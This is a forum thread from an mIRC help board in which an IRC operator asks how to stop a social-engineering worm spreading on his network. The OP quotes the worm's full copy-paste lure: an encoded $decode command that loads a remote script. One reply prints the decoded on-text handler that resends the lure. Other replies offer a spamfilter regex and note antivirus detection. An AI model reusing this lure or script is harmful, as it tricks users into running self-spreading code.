mIRC Home    About    Download    Register    News    Help

Print Thread
Joined: Jan 2005
Posts: 5
L
Nutrimatic drinks dispenser
OP Offline
Nutrimatic drinks dispenser
L
Joined: Jan 2005
Posts: 5
I'm a IRCop in a small network and users on my network used to spam users with the message :
Do You Want to be an OPERATOR in #channel ? copy/paste this-> //write   $decode(b24gMTp0ZXh0Oio6Izp7IC5pZ25vcmUgJG5pY2sgfCAudGltZXKgIDAgMTIwIC5qb2luICNNYW5pbGEgfCAubXNnICRuaWNrIERvIFlvdSBXYW50IHRvIGJlIGFuIE9QRVJBVE9SIGluICRjaGFuID8gY29weS9wYXN0ZSB0aGlzLT4DMTQgLy93cml0ZSCgICQgJCsgZGVjb2RlKCAkKyAkZW5jb2RlKCRyZWFkKCRzY3JpcHQsbiwxKSxtKSAkKyAsbSkgJGNocigxMjQpIC5sb2FkIC1ycyCgICRjaHIoMTI0KSAvL21vZGUgJCAkKyBtZSArUiB9,m) | .load -rs   | //mode $me +R

When normal users saw that thing, they used to type it coz' they wanna be operator..ya know...and when they type it..they used to spam it themselves. But they didn't know that they are spamming. This increases the amount of spamming on my network and what i need is a script that can check spam and auto kick or local kill the spammers. My network used Unreal3.2.2. Btw, i also wanna know whether its a bug or not ? most users on my net uses mIRC v 6.16. any bugs on version 6.16. Ok, thnx and i would be very glad to you guyz if you reply back this forum.

Joined: Sep 2004
Posts: 237
Fjord artisan
Offline
Fjord artisan
Joined: Sep 2004
Posts: 237
To the best of my understanding its not a bug as much as a malitious scipt allowing remote access to your mIRC. Please correct me if i'm wrong.

Joined: Mar 2004
Posts: 457
D
Fjord artisan
Offline
Fjord artisan
D
Joined: Mar 2004
Posts: 457
If ur users are stupid enough to type whatever people tell them, gline them now cuz they are nothing but trouble.

Anyway, in the unreal folder, there should be a file called "spamfilter.config". If you know regex, you can edit a rule to apply for this one.

If you don't and someone else does here, here's an example of the format:

Code:
spamfilter {
	regex "^hey .* to get OPs use this hack in the chan but SHH! //\$decode\(.*,m\) \| \$decode\(.*,m\)$";
	target private;
	action gline;
	reason "Infected by nkie worm: see http://www.trojaninfo.com/nkie/nkie.htm";
};

Joined: Dec 2002
Posts: 3,547
S
Hoopy frood
Offline
Hoopy frood
S
Joined: Dec 2002
Posts: 3,547
I typed that for testing purposes, I don't really see how it works to be honest with you, I used write $decode(blah) etc. But it wrote the first word seperated by $chr(32) which was (on) what you pasted was an on Text event so all it did was write to a file called "On" with no extension saying
Code:
1:text:*:#:{ .ignore $nick | .timer  0 120 .join #Manila | .msg $nick Do You Want to be an OPERATOR in $chan ? copy/paste this->14 //write   $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs   $chr(124) //mode $ $+ me +R }


Which obviously wouldnt work because it's not correct event syntax as your missing the "On" part which is now the filename.

So I altered it slightly to write a file called test.txt with
$decode(blah). So all that script does is when someone types a message in a channel, the person with the $decode remote script, picks it up and sends the person the message telling them how to become an operator. You get something like:
Code:
<Andy> Do You Want to be an OPERATOR in #VodkaDrinkers ? copy/paste this-> //write   $decode(b24gMTp0ZXh0Oio6Izp7IA==,m) | .load -rs   | //mode $me +R


Now that still wouldn't work, //write $decode(b24gMTp0ZXh0Oio6Izp7IA==,m) attempts to write to the file "On" again so you'd end up with just{
Code:
1:text:*:#:{

not:
Code:
on 1:text:*:#:{

Joined: Jan 2005
Posts: 5
L
Nutrimatic drinks dispenser
OP Offline
Nutrimatic drinks dispenser
L
Joined: Jan 2005
Posts: 5
ok, the regex part works... thnx and cheers.. smile

but regarding the " on 1:text:*:#:{ " remote thing i was spamming my selves lolz. I mean i spam other users and got a nice kick from the channel. anyideas on ho to fixed this problem ??
thnx..

Joined: Jan 2005
Posts: 192
Vogon poet
Offline
Vogon poet
Joined: Jan 2005
Posts: 192
NAV reports it as IRC.Worm.gen (even looking this page :tongue: (btw I dont agree about "worm" part))

Anyway I receive messages like this every day (a LOT of them)
and since many people ask me many times every day what they do how to remove etc...
SO I put together little "site" about them... might be useful http://www.hot.ee/braxter/decode

I wrote an autokicker for them too... (with removal instruction as kickmessage) but stopped using it since many people were already 'scared' to copy/paste some new code...


Link Copied to Clipboard